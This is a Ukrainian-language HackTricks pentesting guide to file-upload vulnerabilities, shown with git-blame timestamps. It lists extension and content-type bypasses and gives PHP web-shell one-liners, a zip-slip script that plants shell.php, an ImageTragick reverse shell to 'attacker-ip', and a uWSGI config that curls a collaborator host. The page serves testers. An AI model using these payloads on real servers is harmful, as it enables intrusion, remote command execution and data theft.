hacktricks/pentesting-web/file-upload/README.md

378 lines
37 KiB
Markdown
Raw Normal View History

2024-04-06 19:41:21 +00:00
# File Upload
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2024-01-01 17:15:10 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
2022-04-28 16:01:33 +00:00
</details>
2024-04-06 19:41:21 +00:00
<figure><img src="https://github.com/carlospolop/hacktricks/blob/ua/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
2022-04-30 20:31:18 +00:00
2024-03-29 18:49:46 +00:00
Якщо вас цікавить **кар'єра хакера** і взламати невзламне - **ми шукаємо співробітників!** (_вимагається вільне володіння польською мовою, як письмово, так і усно_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-30 20:31:18 +00:00
2024-03-29 18:49:46 +00:00
## Загальна методологія завантаження файлів
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Інші корисні розширення:
2021-01-28 13:23:35 +00:00
2022-10-16 23:16:14 +00:00
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
2024-03-29 18:49:46 +00:00
* **Робота в PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
2021-02-11 00:14:31 +00:00
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
2021-01-28 13:23:35 +00:00
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
2021-02-11 00:14:31 +00:00
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
2021-01-28 13:23:35 +00:00
2024-03-29 18:49:46 +00:00
### Обхід перевірки розширень файлів
1. Якщо вони застосовуються, **перевірте** **попередні розширення**. Також перевірте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
2. еревірте **додавання дійсного розширення перед** розширенням виконання (використовуйте також попередні розширення):_
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
* _file.png.php_
* _file.png.Php5_
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використовувати Burp для **перебору** всіх **ascii** та **Unicode** символів. (_Зауважте, що ви також можете спробувати використати **попередні** згадані **розширення**_)
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
4. Спробуйте обійти захист **обманом парсера розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульові** байти) між розширеннями. _Ви також можете використати **попередні розширення** для підготовки кращого навантаження._
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
5. Додайте **ще один шар розширень** до попередньої перевірки:
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
6. Спробуйте поставити **виконавче розширення перед дійсним розширенням** і моліться, щоб сервер був неправильно налаштований. (корисно для експлуатації помилок конфігурації Apache, де будь-що з розширенням\*\* _**.php**_**, але** не обов'язково закінчується на .php\*\* виконає код):
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
*априклад: file.php.png_
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
7. Використання **альтернативного потоку даних NTFS (ADS)** в **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ «:». В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, "file.asax:.jpg"). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені файлу. Шаблон "**::$data**" також можна використовувати для створення непорожніх файлів. Тому додавання крапки після цього шаблону також може бути корисним для обходу подальших обмежень (.напр., "file.asp::$data.")
8. Спробуйте порушити обмеження імені файлу. Дійсне розширення відсікається. І зловмисний PHP залишається. AAA<--SNIP-->AAA.php
```
# Максимально 255 байтів для Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # відняти 4 тут і додати .png
# Завантажте файл і перевірте відповідь, скільки символів він дозволяє. Скажімо, 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Створіть навантаження
AAA<--SNIP 232 A-->AAA.php.png
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
### Обхід перевірок Content-Type, Magic Number, Compression & Resizing
* Обійдіть перевірки **Content-Type**, встановивши **значення** **Content-Type** **заголовка** на: _image/png_, _text/plain, application/octet-stream_
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
1. Список слів Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
* Обійдіть перевірку **магічного числа**, додавши на початок файлу **байти реального зображення** (переплутати команду _file_). Або введіть оболонку всередину **метаданих**:\
2024-04-06 19:41:21 +00:00
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **ввести навантаження безпосередньо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
2024-03-29 18:49:46 +00:00
* Якщо до вашого зображення додається **стиснення**, наприклад, за допомогою деяких стандартних бібліотек PHP, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисними. Однак ви можете використати **PLTE chunk** [**техніку, визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **переживе стиснення**.
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Сторінка також може **змінювати розмір зображення**, наприклад, використовуючи функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використати **IDAT chunk** [**техніку, визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **переживе стиснення**.
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Ще одна техніка для створення навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використати **tEXt chunk** [**техніку, визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **переживе стиснення**.
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Інші прийоми для перевірки
* Знайдіть вразливість для **перейменування** вже завантаженого файлу (для зміни розширення).
* Знайдіть вразливість **Local File Inclusion** для виконання backdoor.
* **Можлива розкриття інформації**:
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
1. Завантажте **декілька разів** (і **одночасно**) **той самий файл** з **такою самою назвою**
2. Завантажте файл з **назвою** файлу або **папки**, яка **вже існує**
3. Завантаження файлу з **ім'ям** **“.”, “..”, або “…”**. Наприклад, в Apache в **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл з назвою “uploads” в каталозі “/www/”.
4. Завантажте файл, який може бути видалений не легко, такий як **“…:.jpg”** в **NTFS**. (Windows)
5. Завантажте файл в **Windows** з **недійсними символами** такими як `|<>*?”` в назві. (Windows)
6. Завантажте файл в **Windows** використовуючи **зарезервовані** (**заборонені**) **назви** такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, та LPT9.
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
* Спробуйте також **завантажити виконуваний** файл (.exe) або **.html** (менш підозрілий), який **виконає код** при випадковому відкритті жертвою.
### Особливі трюки з розширенням
Якщо ви намагаєтеся завантажити файли на **PHP сервер**, [подивіться трюк з **.htaccess** для виконання коду](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Якщо ви намагаєтеся завантажити файли на **ASP сервер**, [подивіться трюк з **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Файли `.phar` схожі на файли `.jar` для Java, але для php, і можуть бути **використані як файл php** (виконуючи його за допомогою php або включаючи його всередину скрипта...)
Розширення `.inc` іноді використовується для файлів php, які використовуються лише для **імпорту файлів**, тому, на деякому етапі, хтось міг дозволити **це розширення для виконання**.
2020-10-15 13:16:06 +00:00
2022-08-04 20:47:35 +00:00
## **Jetty RCE**
2024-03-29 18:49:46 +00:00
Якщо ви можете завантажити файл XML на сервер Jetty, ви можете отримати [RCE, оскільки **нові \*.xml та \*.war автоматично обробляються**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Таким чином, як зазначено на наступному зображенні, завантажте файл XML в `$JETTY_BASE/webapps/` і очікуйте оболонку!
2022-08-04 20:47:35 +00:00
2024-02-05 20:00:40 +00:00
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
2022-08-04 20:47:35 +00:00
2023-03-02 09:08:19 +00:00
## **uWSGI RCE**
2024-03-29 18:49:46 +00:00
Для детального дослідження цієї вразливості перегляньте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
2023-03-02 09:08:19 +00:00
2024-03-29 18:49:46 +00:00
Вразливості на виконання віддалених команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують конкретний синтаксис для включення "магічних" змінних, заповнювачів та операторів. Зокрема, оператор '@', використовуваний як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" особливо потужна, дозволяючи читати дані зі стандартного виводу процесу. Цю функцію можна використовувати для злочинних цілей, таких як виконання віддалених команд або запис/читання довільного файлу, коли обробляється файл конфігурації `.ini`.
2023-03-02 09:08:19 +00:00
2024-03-29 18:49:46 +00:00
Розгляньте наступний приклад шкідливого файлу `uwsgi.ini`, де показані різні схеми:
2024-04-06 19:41:21 +00:00
2023-03-02 09:08:19 +00:00
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
2023-03-05 10:15:19 +00:00
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
2023-03-02 09:08:19 +00:00
; call a function returning a char *
characters = @(call://uwsgi_func)
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
Виконання полезного навантаження відбувається під час розбору файлу конфігурації. Для активації та розбору конфігурації процес uWSGI повинен бути або перезапущений (можливо, після збою або через атаку з відмовою в обслуговуванні), або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл у вказані інтервали при виявленні змін.
2023-03-02 09:08:19 +00:00
2024-03-29 18:49:46 +00:00
Важливо розуміти нестрогий характер розбору файлу конфігурації uWSGI. Зокрема, обговорене полезне навантаження може бути вставлене в бінарний файл (наприклад, у зображення або PDF), що додатково розширює обсяг потенційної експлуатації.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
## **Хитрість з вивантаженням файлів/SSRF за допомогою wget**
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
У деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак **цю перевірку можна обійти.**\
Максимальна довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл з іменем "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (як у цьому прикладі **".gif"** є **дійсним** розширенням), але `wget` перейменує файл на **"A"\*232+".php"**.
2024-04-06 19:41:21 +00:00
2020-10-15 13:16:06 +00:00
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
2024-03-29 18:49:46 +00:00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-10-15 13:16:06 +00:00
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
Зверніть увагу, що **інша опція**, яку ви можете розглядати для обходу цієї перевірки, - це зробити **HTTP-сервер перенаправлення на інший файл**, тоді початковий URL обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це **не працюватиме**, **якщо** wget використовується з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з назвою файлу, вказаною в початковому URL**.
## Інструменти
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) - потужний інструмент, призначений для допомоги Пентестерам та Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різноманітні техніки пошуку помилок для спрощення процесу ідентифікації та використання вразливостей, забезпечуючи ретельну оцінку веб-додатків.
## Від завантаження файлу до інших вразливостей
* Встановіть **ім'я файлу** на `../../../tmp/lol.png` та спробуйте досягти **перетину шляхів**
* Встановіть **ім'я файлу** на `sleep(10)-- -.jpg` і ви можете досягти **SQL-ін'єкції**
* Встановіть **ім'я файлу** на `<svg onload=alert(document.domain)>` для досягнення XSS
* Встановіть **ім'я файлу** на `; sleep 10;` для тестування деяких вразливостей введення команд (додаткові [підступи введення команд тут](../command-injection.md))
* [**XSS** у завантаженні зображення (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Завантаження файлу **JS** + **XSS** = [експлуатація **Службових робітників**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE у завантаженні svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Відкрите перенаправлення** через завантаження svg-файлу](../open-redirect.md#open-redirect-uploading-svg-files)
* Спробуйте **різні навантаження svg** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Відома вразливість **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Якщо ви можете **вказати веб-серверу перехопити зображення з URL**, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/). Якщо це **зображення** буде **збережено** на деякому **публічному** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) та **вкрасти інформацію кожного відвідувача**.
* [**XXE та обхід CORS** за допомогою завантаження PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* Спеціально створені PDF для XSS: На [наступній сторінці показано, як **впровадити дані PDF для виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які будуть виконувати довільний JS за вказаними вказівками.
* Завантажте вміст \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) для перевірки наявності будь-якого **антивірусу** на сервері
* Перевірте, чи є обмеження на **розмір** завантажуваних файлів
Ось топ-10 списку речей, які можна досягти завантаженням (з [тут](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Веб-оболонка / RCE
2. **SVG**: Збережений XSS / SSRF / XXE
3. **GIF**: Збережений XSS / SSRF
4. **CSV**: Введення CSV
2020-10-15 13:16:06 +00:00
5. **XML**: XXE
6. **AVI**: LFI / SSRF
2024-03-29 18:49:46 +00:00
7. **HTML / JS** : Введення HTML / XSS / Відкрите перенаправлення
8. **PNG / JPEG**: Атака затоплення пікселями (DoS)
9. **ZIP**: RCE через LFI / DoS
2020-10-15 13:16:06 +00:00
10. **PDF / PPTX**: SSRF / BLIND XXE
2024-03-29 18:49:46 +00:00
#### Розширення Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
2024-03-29 18:49:46 +00:00
## Магічні байти заголовка
2021-04-17 15:03:24 +00:00
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
2024-03-29 18:49:46 +00:00
Див. [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) для інших типів файлів.
2024-03-29 18:49:46 +00:00
### Автоматично розпакований ZIP/Tar файл
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Якщо ви можете завантажити ZIP, який буде розпакований всередині сервера, ви можете зробити 2 речі:
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
#### Символічне посилання
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Завантажте посилання, що містить символьні посилання на інші файли, потім, звертаючись до розпакованих файлів, ви отримаєте доступ до зв'язаних файлів:
2024-04-06 19:41:21 +00:00
```
2020-10-15 13:16:06 +00:00
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
2021-12-05 18:16:27 +00:00
tar -cvf test.tar symindex.txt
2020-10-15 13:16:06 +00:00
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
### Розпакування в різні теки
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Неочікуване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця настройка може захистити від виконання команд на рівні ОС через зловмисні завантаження файлів, ієрархічна підтримка стиснення та можливості траверсування каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обійти обмеження та вийти з безпечних каталогів завантаження, маніпулюючи функціоналом розпакування цільового додатка.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Автоматизований експлойт для створення таких файлів доступний на [**evilarc на GitHub**](https://github.com/ptoomey3/evilarc). Утиліта може бути використана наступним чином:
2024-04-06 19:41:21 +00:00
2020-10-15 13:16:06 +00:00
```python
2024-02-05 20:00:40 +00:00
# Listing available options
2021-12-05 18:16:27 +00:00
python2 evilarc.py -h
2024-02-05 20:00:40 +00:00
# Creating a malicious archive
2021-12-05 18:16:27 +00:00
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
2020-10-15 13:16:06 +00:00
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
Додатково, **хитрість символічного посилання з evilarc** є варіантом. Якщо метою є спрямування на файл, наприклад, `/flag.txt`, символічне посилання на цей файл повинно бути створено у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Нижче наведено приклад коду Python, який використовується для створення шкідливого zip-файлу:
2024-04-06 19:41:21 +00:00
2020-10-15 13:16:06 +00:00
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
2020-10-15 13:16:06 +00:00
def create_zip():
2024-03-29 18:49:46 +00:00
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
2020-10-15 13:16:06 +00:00
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
**Зловживання стисненням для розпилення файлів**
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Для отримання додаткових відомостей **перевірте оригінальний пост за посиланням**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
1. **Створення оболонки PHP**: PHP-код написаний для виконання команд, переданих через змінну `$_REQUEST`.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
2. **Розпилення файлів та створення стисненого файлу**: Створюються кілька файлів, і збирається архів zip, що містить ці файли.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
3. **Зміна за допомогою Hex-редактора або vi**: Назви файлів всередині zip змінюються за допомогою vi або hex-редактора, змінюючи "xxA" на "../" для переходу по каталогах.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
2020-10-15 13:16:06 +00:00
2022-05-01 16:32:23 +00:00
## ImageTragic
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Завантажте цей вміст з розширенням зображення, щоб використати уразливість **(ImageMagick, 7.0.1-1)** (з [експлойтом](https://www.exploit-db.com/exploits/39767))
2024-04-06 19:41:21 +00:00
```
2020-10-15 13:16:06 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
## Вбудовування PHP Shell у PNG
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо важливі в цьому контексті, оскільки вони часто використовуються для зміни розміру та ресемплінгу зображень. Можливість вбудованого PHP shell залишатися незмінним під час цих операцій є значним перевагою для певних випадків використання.
2024-02-05 20:00:40 +00:00
2024-03-29 18:49:46 +00:00
Детальне дослідження цієї техніки, включаючи методологію та потенційні застосування, наведено в наступній статті: ["Кодування веб-шелів у частинах IDAT файлів PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Додаткова інформація за посиланням: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
## Поліглотні файли
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Поліглотні файли виступають унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть законно існувати одночасно у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF та архів RAR одночасно. Такі файли не обмежуються цією парою; комбінації, такі як GIF та JS або PPT та JS, також можливі.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Основна корисність поліглотних файлів полягає в їх здатності обійти заходи безпеки, які перевіряють файли за типом. Загальна практика в різних додатках передбачає дозвіл лише певних типів файлів для завантаження - наприклад, JPEG, GIF або DOC - для зменшення ризику, що можуть створювати потенційно шкідливі формати (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може хитро обійти ці обмеження.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
